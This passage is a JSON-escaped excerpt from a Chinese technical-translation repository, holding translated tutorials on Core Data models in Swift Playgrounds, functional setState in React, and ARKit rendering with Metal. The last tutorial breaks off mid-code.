.xcdatamodeld 文件，并在某个背景使用这个文件...\n简短的答案是不可以。你不能使用 .xcdatamodeld 文件（至少，我找不到可行的方法），但是你能用当你构建应用就生成的 “momd” 文件。\n##局限性\n当我了解这个概念的时候我遇到了至少两个局限性／或者说是需要注意的地方。\n\n\n ##没有 NSManagedObject 子类\n尽管你能在模型中创建实体的实例，如果你已经为实体创建了 `NSManagedObject` 的子类，在 Swift Playgrounds 中你还不能使用这些实体。你得用 `setValue(_: forKey:)` 在  `NSManagedObject` 实例中设置属性来解决这一问题。\n但是这只是一个很小的缺陷，尤其是如果你只想稍微了解。\n##更新模型\n你读过 [walkthrough](https://www.andrewcbancroft.com/2016/07/10/using-a-core-data-model-in-swift-playgrounds/#walkthrough)之后，将会知道如何在背景中引入模型。\n总的说来是这样的:如果你曾经更改了模型，你需要操作必须的步骤来在资源文件夹中重新添加一个最新编译的模型。这是因为新加的资源是复制过来的，不是引用的。\n我并不认为这是个很糟糕的缺点，尤其是你一旦了解怎么做的时候。\n所以你要怎么做呢？看下面过程：\n##攻略\n在你的项目中加入一个数据模型，我们开始啦。如果你已经进行了一个使用 Core Data 的项目，在你的项目里可能已经有了一个 .xcdatamodeld 文件。如果你没有，这个 .xcdatamodeld 文件能从文件菜单中简单添加。\n##添加数据模型文件（除非你已经有一个）\n File -> New -> File…\n![New Data Model](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/new-model.png)\n\n用冒烟测试来看以上方法是否可行，我将模型名字设置为默认的值 “Model.xcdatamodeld”。\n##添加带属性的实体\n将数据模型添加到项目之后，我继续添加了一个带（ 16 位的整数类型名字是 “attribute” ）属性的（名字叫 “Entity” ）实体：\n![Add an entity with an attribute.](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/add-entity-and-attributes.png)\n\n##添加 playground\n下一步，我往项目里加了一个新的 playground：\n File -> New -> Playground…  \n![Add new playground](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/new-playground.png)\n\n##构建项目：定位 “momd” 文件\n有一个 playground 并且一个数据模型结构化了，我构建了项目（CMD + B），因此 .xcdatamodeld 文件能被编译成一个 “momd” 文件。就是这个 “momd” 文件需要作为一个资源被添加到 playground 中。\n要找到 “momd” 文件，在你的项目导航栏中展开 “Products”，右击 .app，单击 “Show in Finder”：\n![Show product in finder](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/show-product-in-finder.png)\n\n##显示 .app 包的内容\n在 finder 窗口，右击 .app 文件，然后单击 “Show package contents”:\n![Show package contents](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/show-package-contents.png)\n\n##从 finder 中把 “momd” 文件拖拽到 playground 的资源文件夹\n![Locate ](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/locate-momd-file.png)\n\n![Drag ](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/drag-momd-to-resources.png)\n\n##写 Core Data 代码来使用模型\n既然 “momd” 文件在 playground 的资源文件夹里，你能写代码了。你能插入 `NSManagedObject` 实例，运行 fetch requests 等等。下面是我写的一个例子：\n\nCore Data Playground\n```\nimport UIKit\nimport CoreData\n\n// Core Data 堆栈存在内存中\npublic func createMainContext() -> NSManagedObjectContext {\n    \n    //用你自己模型的名字替换 \"Model\"\n    let modelUrl = NSBundle.mainBundle().URLForResource(\"Model\", withExtension: \"momd\")\n    guard let model = NSManagedObjectModel.init(contentsOfURL: modelUrl!) else { fatalError(\"model not found\") }\n    \n    let psc = NSPersistentStoreCoordinator(managedObjectModel: model)\n    try! psc.addPersistentStoreWithType(NSInMemoryStoreType, configuration: nil, URL: nil, options: nil)\n    \n    let context = NSManagedObjectContext(concurrencyType: .MainQueueConcurrencyType)\n    context.persistentStoreCoordinator = psc\n    \n    return context\n}\n\nlet context = createMainContext()\n\n//插入一个新实体\nlet ent = NSEntityDescription.insertNewObjectForEntityForName(\"Entity\", inManagedObjectContext: context)\nent.setValue(42, forKey: \"attribute\")\n\ntry! context.save()\n\n//运行一个 fetch request\nlet fr = NSFetchRequest(entityName: \"Entity\")\nlet result = try! context.executeFetchRequest(fr)\n\nprint(result)\n```\n\n![Fetch request result](https://www.andrewcbancroft.com/wp-content/uploads/2016/07/printed-result.png)\n\n哇哦！这很酷啊。\n\n**别忘了** :如果你更新了模块，你需要重新构建你的应用，从 playground 的资源中删掉 “momd” 文件夹，再一次重新把新编译好的 “momd”  文件拖拽到 playground 中来运行最新版本的模型。\n\n## 潜在的用处\n\n除了“我想知道这是否可能”，另一个问的重要问题是“它是多么有用？”\n\n* 学习。 Playgrounds 本身作为一个学习工具有意义。能够搭建你在 Xcode 设计中思考的模块，把它导入一个 Playground ，并且把它当作一个学习练习来研究它，是多么酷啊！\n* 当你需要测试你的数据模块但是不想把它连到一个实际的用户交互的时候，也是有用的。在 playground 中抛掉所有用户交互复杂性，只研究数据模型！这似乎是一个比在控制台输出更优雅的解决方法\n* 有可能你需要为一个 fetch request 构建半复杂性的 `NSPredicate` 实例－－为何不首先在 playground 中得到这个实例，然后把实例迁移到你的应用中呢？仅仅是个想法哦！\n"
  },
  {
    "path": "TODO/using-a-function-in-setstate-instead-of-an-object.md",
    "content": "> * 原文地址：[Using a function in `setState` instead of an object](https://medium.com/@shopsifter/using-a-function-in-setstate-instead-of-an-object-1f5cfd6e55d1#.hwznlbxsa)\n* 原文作者：[Sophia Shoemaker](https://medium.com/@shopsifter?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[John Chong](https://github.com/Goshin)、[Tina92](https://github.com/Tina92)\n\n# 在 `setState` 中使用函数替代对象 #\n\n[React 文档](https://facebook.github.io/react/docs/hello-world.html) 最近改版了——如果你还没看过，你的确应该去看看！通过写一份“React 术语词典”我越来越有豁然开朗的感觉了，其过程中我也深入地通读了新文档的全部内容。阅读文档的时候，我发现了 `setState` 相对不为人知的一面，并由这个推文大受启发：\n\n![Markdown](http://i1.piimg.com/1949/60dac91b11e33375.png)\n\n我想我要写一篇博文来解释其原理。\n\n### 先介绍一下背景 ###\n\nReact 中的组件是独立、可重用的代码块，它们经常有自己的状态。组件返回的 React 元素组成了应用的 UI 界面。含有本地状态的组件会有一个名为 `state` 的属性，当我们想要改变应用的外观或表现形式时，我们需要改变组件的状态。那么我们如何更新组件的状态呢？React 组件中有一个可用的方法叫做 `setState`，它通过调用 `this.setState` 来使得 React 重新渲染你的应用并更新 DOM。\n\n通常更新组件的时候，我们只要调用 `setState` 函数并以对象的形式传入一个新的值：`this.setState({someField:someValue})`。\n\n但是经常会需要使用当前状态去更新组件的状态，直接访问 `this.state` 来更新组件到下一个状态并是不可靠的方式。根据 React 的文档：\n\n> 因为 `this.props` 和 `this.state` 存在异步更新的可能，你不应该根据这些值计算下一个状态。\n\n文档中的关键词是**异步**！当调用 `this.setState` 时，DOM 并不能马上更新，React 会分批次地更新，这样才能更高效地重新渲染所有的组件。\n\n### 示例 ###\n\n我们来看一下在 Shopsifter 中使用 `setState` 的典型例子（我用于收集反馈信息），在用户提交他/她的反馈信息之后，页面会显示感谢信息如下：\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*2G0xhu4tOAAEODKSsRB_2w.gif?q=20) \n\n![](https://cdn-images-1.medium.com/max/800/1*2G0xhu4tOAAEODKSsRB_2w.gif) \n\n反馈页面的组件拥有一个布尔值的 `showForm` 属性，该值决定了应该显示表单还是感谢信息。我的反馈表单组件的初始化状态是这样的：\n\n```\nthis.state = { showForm : true}\n```\n\n然后，当用户点击了提交按钮，我调用了这个函数：\n\n```\nsubmit(){\n  this.setState({showForm : !this.state.showForm});\n}\n```\n\n我依赖于 `this.state.showForm`的值来改变表单的下一个状态。这个简单的例子中，依赖这个值可能并不会导致任何问题，但是想象一下，当一个应用变得更加复杂，会有很多次调用 `setState` 并依次将数据渲染至 DOM ，可能 `this.state.showForm` 的实际状态并不是你所认为的样子。\n\n![](https://cdn-images-1.medium.com/max/800/1*LY5htRQwi_NOHhMRI2cTSw.jpeg)\n\n如果我们不依赖于 `this.state` 来计算下一个值，我们该怎样做呢？\n\n### `setState` 中的函数来拯救你了！ ###\n\n我们可以向 `this.setState` 传入一个函数来替代传入对象，并且可以可靠地获取组件的当前状态。上文的提交函数现在是这样写的：\n\n```\nsubmit(){\n   this.setState(function(prevState, props){\n      return {showForm: !prevState.showForm}\n   });\n\n}\n```\n\n通过使用函数替代对象传入 `setState` 的方式能够得到组件的 `state` 和 `props` 属性可靠的值。值得注意的一点是，在 React 文档的例子中使用了箭头函数（这也是我将要应用到我的 Shopsifter 应用中的一项内容），因此上文的例子中我的函数使用的仍然是 ES5 的语法。\n\n如果你知道自己将要使用 `setState` 来更新组件，并且你知道自己将要使用当前组件的状态或者属性值来计算下一个状态，我推荐你传入一个函数作为 `this.setState` 的第一个参数而不用对象的解决方案。\n\n![Markdown](http://p1.bpimg.com/1949/d70206a3c3c06515.png) \n\n我希望这能帮助你做出更好、更可靠的 React 应用！"
  },
  {
    "path": "TODO/using-arkit-with-metal-part-2.md",
    "content": "\n> * 原文地址：[Using ARKit with Metal part 2](http://metalkit.org/2017/08/31/using-arkit-with-metal-part-2.html)\n> * 原文作者：[Marius Horga](https://twitter.com/gpu3d)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal-part-2.md)\n> * 译者：[swants](http://www.swants.cn)\n> * 校对者：[zhangqippp](https://github.com/zhangqippp) [Danny1451](https://github.com/Danny1451)\n\n# 基于 Metal 的 ARKit 使用指南（下）\n\n- [基于 Metal 的 ARKit 使用指南（上）](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal.md)\n- [基于 Metal 的 ARKit 使用指南（下）](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal-part-2.md)\n\n咱们上篇提到过 ,  **ARKit** 应用通常包括三个图层 : `渲染层` , `追踪层` 和 `场景解析层` 。上一篇我们通过一个自定义视图已经非常详细地分析了渲染层在 `Metal` 中是如何工作的了。 `ARKit` 使用 `视觉惯性测程法` 准确地追踪它周围的环境，并将相机传感器数据和 `CoreMotion` 数据相结合。这样当相机随我们运动时，不需要额外的校准就可以保证图像的稳定性。这篇文章我们将研究  __场景解析__ —— 通过平面检测，碰撞测试和光线测定来描述场景特征的方法。 `ARKit` 可以分析相机呈现出来的场景并在场景中找到类似地板这样的水平面。前提是，我们需要在运行 session configuration 之前，简单地添加额外的一行代码来打开水平面检测的新特性（默认是关闭的）：\n\n```\noverride func viewWillAppear(_ animated: Bool) {\nsuper.viewWillAppear(animated)\nlet configuration = ARWorldTrackingConfiguration()\nconfiguration.planeDetection = .horizontal\nsession.run(configuration)\n}\n```\n\n> 注意，在当前的 API 版本中只能添加水平的平面检测。\n\n使用 **ARSessionObserver** 协议方法来处理会话错误，追踪变化和打断：\n\n```\nfunc session(_ session: ARSession, didFailWithError error: Error) {}\nfunc session(_ session: ARSession, cameraDidChangeTrackingState camera: ARCamera) {}\nfunc session(_ session: ARSession, didOutputAudioSampleBuffer audioSampleBuffer: CMSampleBuffer) {}\nfunc sessionWasInterrupted(_ session: ARSession) {}\nfunc sessionInterruptionEnded(_ session: ARSession) {}\n```\n\n与此同时， **ARSessionDelegate** 协议还有其他的代理方法（继承于 ARSessionObserver ）来让我们处理锚点：我们在第一个方法中调用 **print()** ：\n\n```\nfunc session(_ session: ARSession, didAdd anchors: [ARAnchor]) {\nprint(anchors)\n}\nfunc session(_ session: ARSession, didRemove anchors: [ARAnchor]) {}\nfunc session(_ session: ARSession, didUpdate anchors: [ARAnchor]) {}\nfunc session(_ session: ARSession, didUpdate frame: ARFrame) {}\n```\n\n让我们现在打开 **Renderer.swift** 文件。首先，创建一些我们需要的类属性。这些变量将会帮助我们在屏幕上创建和展示一个调试界面：\n\n```\nvar debugUniformBuffer: MTLBuffer!\nvar debugPipelineState: MTLRenderPipelineState!\nvar debugDepthState: MTLDepthStencilState!var debugMesh: MTKMesh!\nvar debugUniformBufferOffset: Int = 0\nvar debugUniformBufferAddress: UnsafeMutableRawPointer!\nvar debugInstanceCount: Int = 0\n```\n\n其次，我们在 **setupPipeline()** 中创建缓存区：\n\n```\ndebugUniformBuffer = device.makeBuffer(length: anchorUniformBufferSize, options: .storageModeShared)\n```\n\n我们需要为我们的平面创建新的顶点和分段函数，以及新的渲染管道和深度模板状态。在刚才创建命令行队列的代码上面，添加以下代码：\n\n```\nlet debugGeometryVertexFunction = defaultLibrary.makeFunction(name: \"vertexDebugPlane\")!\nlet debugGeometryFragmentFunction = defaultLibrary.makeFunction(name: \"fragmentDebugPlane\")!\nanchorPipelineStateDescriptor.vertexFunction =  debugGeometryVertexFunction\nanchorPipelineStateDescriptor.fragmentFunction = debugGeometryFragmentFunction\ndo { try debugPipelineState = device.makeRenderPipelineState(descriptor: anchorPipelineStateDescriptor)\n} catch let error { print(error) }\ndebugDepthState = device.makeDepthStencilState(descriptor: anchorDepthStateDescriptor)\n```\n\n再次，在 **setupAssets()** 方法中，我们需要创建一个新的 `Model I/O` 平面网格，然后在通过它创建一个 Metal 网格。在这个方法的末尾添加下面的代码：\n\n```\nmdlMesh = MDLMesh(planeWithExtent: vector3(0.1, 0.1, 0.1), segments: vector2(1, 1), geometryType: .triangles, allocator: metalAllocator)\nmdlMesh.vertexDescriptor = vertexDescriptor\ndo { try debugMesh = MTKMesh(mesh: mdlMesh, device: device)\n} catch let error { print(error) }\n```\n\n下一步，在 **updateBufferStates()** 方法中，我们需要更新平面所在缓存区的地址。添加下面的代码：\n\n\n```\ndebugUniformBufferOffset = alignedInstanceUniformSize * uniformBufferIndex\ndebugUniformBufferAddress = debugUniformBuffer.contents().advanced(by: debugUniformBufferOffset)\n```\n\n接下来，在 **updateAnchors()** 方法中，我们需要更新转换矩阵和锚点的数量。在循环之前添加下面的代码：\n\n\n```\nlet count = frame.anchors.filter{ $0.isKind(of: ARPlaneAnchor.self) }.count\ndebugInstanceCount = min(count, maxAnchorInstanceCount - (anchorInstanceCount - count))\n```\n\n然后，在循环中用下面代码替换最后的三行代码：\n\n```\nif anchor.isKind(of: ARPlaneAnchor.self) {\nlet transform = anchor.transform * rotationMatrix(rotation: float3(0, 0, Float.pi/2))\nlet modelMatrix = simd_mul(transform, coordinateSpaceTransform)\nlet debugUniforms = debugUniformBufferAddress.assumingMemoryBound(to: InstanceUniforms.self).advanced(by: index)\ndebugUniforms.pointee.modelMatrix = modelMatrix\n} else {\nlet modelMatrix = simd_mul(anchor.transform, coordinateSpaceTransform)\nlet anchorUniforms = anchorUniformBufferAddress.assumingMemoryBound(to: InstanceUniforms.self).advanced(by: index)\nanchorUniforms.pointee.modelMatrix = modelMatrix\n}\n```\n\n我们必须以 **Z** 轴为轴心扭转平面 90°，这样我们就可以使平面保持水平。注意我们使用了一个叫做  **rotationMatrix()** 的自定义方法，现在来让我们定义这个方法。在我早先的文章第一次介绍 3D 转换时提到过这个矩阵：\n\n\n```\nfunc rotationMatrix(rotation: float3) -> float4x4 {\nvar matrix: float4x4 = matrix_identity_float4x4\nlet x = rotation.x\nlet y = rotation.y\nlet z = rotation.z\nmatrix.columns.0.x = cos(y) * cos(z)\nmatrix.columns.0.y = cos(z) * sin(x) * sin(y) - cos(x) * sin(z)\nmatrix.columns.0.z = cos(x) * cos(z) * sin(y) + sin(x) * sin(z)\nmatrix.columns.1.x = cos(y) * sin(z)\nmatrix.columns.1.y = cos(x) * cos(z) + sin(x) * sin(y) * sin(z)\nmatrix.columns.1.z = -cos(z) * sin(x) + cos(x) * sin(y) * sin(z)\nmatrix.columns.2.x = -sin(y)\nmatrix.columns.2.y = cos(y) * sin(x)\nmatrix.columns.2.z = cos(x) * cos(y)\nmatrix.columns.3.w = 1.0\nreturn matrix\n}\n```\n\n接着，在 **drawAnchorGeometry()** 方法中，我们需要确保我们在渲染的时候至少拥有一个锚点，用下面的代码替换方法第一行：\n\n\n```\nguard anchorInstanceCount - debugInstanceCount > 0 else { return }\n```\n\n再然后，让我们最后创建 **drawDebugGeometry()** 方法来绘制我们的平面。它和锚点渲染方法是非常相似的：\n\n\n```\nfunc drawDebugGeometry(renderEncoder: MTLRenderCommandEncoder) {\nguard debugInstanceCount > 0 else { return }\nrenderEncoder.pushDebugGroup(\"DrawDebugPlanes\")\nrenderEncoder.setCullMode(.back)\nrenderEncoder.setRenderPipelineState(debugPipelineState)\nrenderEncoder.setDepthStencilState(debugDepthState)\nrenderEncoder.setVertexBuffer(debugUniformBuffer, offset: debugUniformBufferOffset, index: 2)\nrenderEncoder.setVertexBuffer(sharedUniformBuffer, offset: sharedUniformBufferOffset, index: 3)\nrenderEncoder.setFragmentBuffer(sharedUniformBuffer, offset: sharedUniformBufferOffset, index: 3)\nfor bufferIndex in 0..<debugMesh.vertexBuffers.count {\nlet vertexBuffer = debugMesh.vertexBuffers[bufferIndex]\nrenderEncoder.setVertexBuffer(vertexBuffer.buffer, offset: vertexBuffer.offset, index:bufferIndex)\n}\nfor submesh in debugMesh.submeshes {\nrenderEncoder.drawIndexedPrimitives(type: submesh.primitiveType, indexCount: submesh.indexCount, indexType: submesh.indexType, indexBuffer: submesh.indexBuffer.buffer, indexBufferOffset: submesh.indexBuffer.offset, instanceCount: debugInstanceCount)\n}\nrenderEncoder.popDebugGroup()\n}\n```\n\n在渲染层还有最后件事要做 —— 就是在 **update()** 里我们刚才结束编码的那一行上面调用这个方法： \n\n\n```\ndrawDebugGeometry(renderEncoder: renderEncoder)\n```\n\n接着，我们打开 **Shaders.metal** 文件，我们需要一个新的结构体，只需通过一个顶点描述符传递顶点的位置\n\n\n```\ntypedef struct {\nfloat3 position [[attribute(0)]];\n} DebugVertex;\n```\n\n在顶点着色器中，我们使用模型视图矩阵来更新顶点的位置：\n\n\n```\nvertex float4 vertexDebugPlane(DebugVertex in [[ stage_in]],\nconstant SharedUniforms &sharedUniforms [[ buffer(3) ]],\nconstant InstanceUniforms *instanceUniforms [[ buffer(2) ]],\nushort vid [[vertex_id]],\nushort iid [[instance_id]]) {\nfloat4 position = float4(in.position, 1.0);\nfloat4x4 modelMatrix = instanceUniforms[iid].modelMatrix;\nfloat4x4 modelViewMatrix = sharedUniforms.viewMatrix * modelMatrix;\nfloat4 outPosition = sharedUniforms.projectionMatrix * modelViewMatrix * position;\nreturn outPosition;\n}\n```\n\n最后，在片段着色器中，我们给平面一个鲜艳的颜色，使我们在视图中可以一眼看到它：\n\n\n```\nfragment float4 fragmentDebugPlane() {\nreturn float4(0.99, 0.42, 0.62, 1.0);\n}\n```\n\n如果你运行这个 app , 当 APP 检测到一个平面时，你应该能够看到一个矩形，就像这样：\n\n![](https://github.com/MetalKit/images/blob/master/plane.gif?raw=true)\n\n接下来,我们可以通过检测其他目标,或将视角从之前的检测目标上移开来更新或者移除平面。其他的代理方法可以帮助我们实现这一点。接着我们可以研究碰撞和其他物理效果。当然，这只是一个未来的想象。\n\n我想要感谢 [Caroline](https://twitter.com/carolinebegbie) 为本篇文章指定检测目标（平面）! 按照惯例，[源代码](https://github.com/MetalKit/metal) 都发表在 `Github` 上。\n\n期待下次相见！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/using-arkit-with-metal.md",
    "content": "\n> * 原文地址：[Using ARKit with Metal](http://metalkit.org/2017/07/29/using-arkit-with-metal.html)\n> * 原文作者：[Marius Horga](https://twitter.com/gpu3d)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal.md](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal.md)\n> * 译者：[RichardLeeH](https://github.com/RichardLeeH)\n> * 校对者：[Danny1451](https://github.com/Danny1451)\n\n# 基于 Metal 的 ARKit 使用指南（上）\n\n- [基于 Metal 的 ARKit 使用指南（上）](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal.md)\n- [基于 Metal 的 ARKit 使用指南（下）](https://github.com/xitu/gold-miner/blob/master/TODO/using-arkit-with-metal-part-2.md)\n\n**增强现实**提供了一种将虚拟内容渲染到通过移动设备摄像头捕获的真实世界场景之上的方法。上个月，在 `WWDC 2017` 上，我们都非常兴奋地看到了 `苹果` 的新 **ARKit** 高级 API 框架，它运行于搭载 A9 处理器或更高配置的 `iOS 11` 设备上。我们看到的一些 ARKit 实验已相当出色，比如下面这个：\n\n![alt text](https://github.com/MetalKit/images/blob/master/ARKit.gif?raw=true \"ARKit\")\n\n一个 `ARKit` 应用中包含 3 种不同的层：\n\n\n- **追踪层** - 不需要额外的配置就可以采用视觉惯性定位追踪场景。\n- **场景理解层** - 利用平面检测，点击检测和光照估计来检测场景属性的能力。\n- **渲染层** - 由于 SpriteKit 和 SceneKit 提供的模板 AR 视图，因此可以轻松集成，也可以使用 `Metal`自定义视图。所有的预渲染处理都是由 ARKit 完成的，它还负责使用 AVFoundation 和 CoreMotion 捕获图像。\n\n在本系列的第一部分中，我们将主要关注 `Metal` 下的 `渲染`，并在本系列的下一部分讨论其他两个部分。在一个 `AR` 应用中，`追踪层` 和 `场景理解层` 完全由 `ARKit` 框架处理，而 `渲染层` 由 `SpriteKit`、`SceneKit` 或 `Metal` 处理：\n\n![alt text](https://github.com/MetalKit/images/blob/master/ARKit1.png?raw=true \"ARKit 1\")\n\n开始之前，我们需要通过一个 **ARSessionConfiguration** 对象创建一个 **ARSession** 实例，接着我们在这个配置上调用 **run()** 方法。ARSession 同时会依赖 **AVCaptureSession** 和 **CMMotionManager** 运行对象来获取追踪的图像和运动数据。最后，ARSession 将会输出当前 frame 到一个 **ARFrame** 对象。\n\n![alt text](https://github.com/MetalKit/images/blob/master/ARKit2.png?raw=true \"ARKit 2\")\n\n`ARSessionConfiguration` 对象包含了会话将会使用的追踪类型信息。 `ARSessionConfiguration` 基础配置类提供了 **3** 个自由度的运动追踪 (设备 **方向**) 而其子类 **ARWorldTrackingSessionConfiguration**，提供了 **6** 个自由度的运动追踪 (设备 **位置** 和 **方向**)。\n\n![alt text](https://github.com/MetalKit/images/blob/master/ARKit4.png?raw=true \"ARKit 4\")\n\n当设备不支持真实场景追踪时，它会采用基本配置：\n\n\n```\nif ARWorldTrackingSessionConfiguration.isSupported { \n    configuration = ARWorldTrackingSessionConfiguration()\n} else {\n    configuration = ARSessionConfiguration() \n}\n```\n\n `ARFrame` 包含捕获的图像，跟踪信息以及通过 **ARAnchor** 对象获取的场景信息，**ARAnchor ** 对象包含有关真实世界位置和方向的信息，并且可以轻松地添加，更新或从会话中删除。`跟踪`是实时确定物理位置的能力。 然而，`世界追踪`决定了位置和方向，它与物理距离一起工作，相对于起始位置并提供`3D`特征点。\n\n`ARFrame` 的最后一个组件是 **ARCamera** 对象，它便于转换（平移，旋转，缩放），并且包含了跟踪的状态和相机的相关方法。跟踪质量在很大程度上依赖于不间断的传感器数据，静态场景，并且在场景纹理复杂的环境中更加准确。跟踪状态有三个值：**不可用**（摄像机只有单位矩阵），**限制**（场景功能不足或不够静态）和 **正常**（摄像机被填充数据）。 会话中断是由于相机输入不可用或停止跟踪造成的：\n\n```\nfunc session(_ session: ARSession, cameraDidChangeTrackingState camera: ARCamera) { \n    if case .limited(let reason) = camera.trackingState {\n        // Notify user of limited tracking state\n    } \n}\nfunc sessionWasInterrupted(_ session: ARSession) { \n    showOverlay()\n}\nfunc sessionInterruptionEnded(_ session: ARSession) { \n    hideOverlay()\n    // Optionally restart experience\n}\n```\n\n在 `SceneKit` 中使用 `ARSCNView` 的代理进行`渲染`，包括添加，更新或者删除节点。类似的，`SpriteKit` 使用  `ARSKView` 的代理将`SKNodes` 映射为 `ARAnchor` 对象。由于 `SpriteKit` 为 `2D`，因此它不能使用真实世界的摄像头位置，所以它将锚点的位置投影到 `ARSKView`，并在投影的位置上将精灵渲染为一个广告牌（平面），所以精灵会一直面对着摄像头。对于 `Metal`，没有自定义的 `AR` 视图，所以重任就落在了程序员手里。为了处理渲染的图像，我们需要：\n\n- 绘制背景摄像机图像 (从像素缓冲区生成一个纹理)\n- 更新虚拟摄像头\n- 更新光照\n- 更新几何图形的变换\n\n所有这些信息都在 `ARFrame` 对象中。获取 frame，有两种方式：轮询或使用代理。我们将简单介绍后者。我使用了 `Metal` 的 `ARKit` 模板，把它精简到最小，这样我就能更好地理解它是如何工作的。我做的第一件事是移除所有的 `C` 依赖，这样就不需要桥接。它在以后会很有用，因为类型和枚举常量可以在 `API` 代码和着色器之间共享，但这篇文章的目的并不需要。\n\n接着，回到 **ViewController** 上，它需要作为 `MTKView` 和 `ARSession` 的代理。我们创建一个 `Renderer` 实例，用于同代理一起实时更新应用：\n\n\n```\nvar session: ARSession!\nvar renderer: Renderer!\n\noverride func viewDidLoad() {\n    super.viewDidLoad()\n    session = ARSession()\n    session.delegate = self\n    if let view = self.view as? MTKView {\n        view.device = MTLCreateSystemDefaultDevice()\n        view.delegate = self\n        renderer = Renderer(session: session, metalDevice: view.device!, renderDestination: view)\n        renderer.drawRectResized(size: view.bounds.size)\n    }\n    let tapGesture = UITapGestureRecognizer(target: self, action: #selector(self.handleTap(gestureRecognize:)))\n    view.addGestureRecognizer(tapGesture)\n}\n```\n\n正如你所看到的，我们还添加了一个手势识别，用于在场景中添加虚拟内容。首先，我们获取会话的当前帧，接着创建一个变换将我们的实体放到摄像头前（本例中 **0.3** 米），最后使用这个变换在会话中添加一个新的锚点。\n\n```\nfunc handleTap(gestureRecognize: UITapGestureRecognizer) {\n    if let currentFrame = session.currentFrame {\n        var translation = matrix_identity_float4x4\n        translation.columns.3.z = -0.3\n        let transform = simd_mul(currentFrame.camera.transform, translation)\n        let anchor = ARAnchor(transform: transform)\n        session.add(anchor: anchor)\n    }\n}\n```\n\n我们分别使用 **viewWillAppear()** 和 **viewWillDisappear()** 方法启动和暂停会话：\n\n```\noverride func viewWillAppear(_ animated: Bool) {\n    super.viewWillAppear(animated)\n    let configuration = ARWorldTrackingSessionConfiguration()\n    session.run(configuration)\n}\n\noverride func viewWillDisappear(_ animated: Bool) {\n    super.viewWillDisappear(animated)\n    session.pause()\n}\n```\n\n剩下的就是我们需要实现视图更新、会话错误和中断的代理方法：\n\n```\nfunc mtkView(_ view: MTKView, drawableSizeWillChange size: CGSize) {\n    renderer.drawRectResized(size: size)\n}\n\nfunc draw(in view: MTKView) {\n    renderer.update()\n}\n\nfunc session(_ session: ARSession, didFailWithError error: Error) {}\n\nfunc sessionWasInterrupted(_ session: ARSession) {}\n\nfunc sessionInterruptionEnded(_ session: ARSession) {}\n```\n\n打开 **Renderer.swift** 文件。要注意的第一件事是使用一个非常方便的协议，它可以让我们访问所有的 `MTKView`属性：\n\n```\nprotocol RenderDestinationProvider {\n    var currentRenderPassDescriptor: MTLRenderPassDescriptor? { get }\n    var currentDrawable: CAMetalDrawable? { get }\n    var colorPixelFormat: MTLPixelFormat { get set }\n    var depthStencilPixelFormat: MTLPixelFormat { get set }\n    var sampleCount: Int { get set }\n}\n```\n\n现在我们可以扩展  `MTKView` 类(在 `ViewController`中)，以便其遵守这个协议：\n\n```\nextension MTKView : RenderDestinationProvider {}\n```\n\n`Renderer` 类的高级视图，以下为伪代码：\n\n```\ninit() {\n    setupPipeline()\n    setupAssets()\n}\n\nfunc update() {\n    updateBufferStates()\n    updateSharedUniforms()\n    updateAnchors()\n    updateCapturedImageTextures()\n    updateImagePlane()\n    drawCapturedImage()\n    drawAnchorGeometry()\n}\n```\n\n和往常一样，我们首先使用 **setupPipeline()** 函数设置管道。 然后，在 **setupAssets()**中，我们创建了模型，每当我们使用我们的单击手势时，模型将被加载。 `MTKView` 委托将调用 **update()** 函数获取所需更新并绘制。 我们详细介绍他们。 首先我们看看  **updateBufferStates()**，它更新我们写入当前帧的缓冲区的位置（本实例中，我们使用一个  **3** 个槽的环形缓冲区）：\n\n```\nfunc updateBufferStates() {\n    uniformBufferIndex = (uniformBufferIndex + 1) % maxBuffersInFlight\n    sharedUniformBufferOffset = alignedSharedUniformSize * uniformBufferIndex\n    anchorUniformBufferOffset = alignedInstanceUniformSize * uniformBufferIndex\n    sharedUniformBufferAddress = sharedUniformBuffer.contents().advanced(by: sharedUniformBufferOffset)\n    anchorUniformBufferAddress = anchorUniformBuffer.contents().advanced(by: anchorUniformBufferOffset)\n}\n```\n\n在 **updateSharedUniforms()** 方法中，我们更新 `frame` 的共享 `uniform` 变量并设置场景的光照：\n\n```\nfunc updateSharedUniforms(frame: ARFrame) {\n    let uniforms = sharedUniformBufferAddress.assumingMemoryBound(to: SharedUniforms.self)\n    uniforms.pointee.viewMatrix = simd_inverse(frame.camera.transform)\n    uniforms.pointee.projectionMatrix = frame.camera.projectionMatrix(withViewportSize: viewportSize, orientation: .landscapeRight, zNear: 0.001, zFar: 1000)\n    var ambientIntensity: Float = 1.0\n    if let lightEstimate = frame.lightEstimate {\n        ambientIntensity = 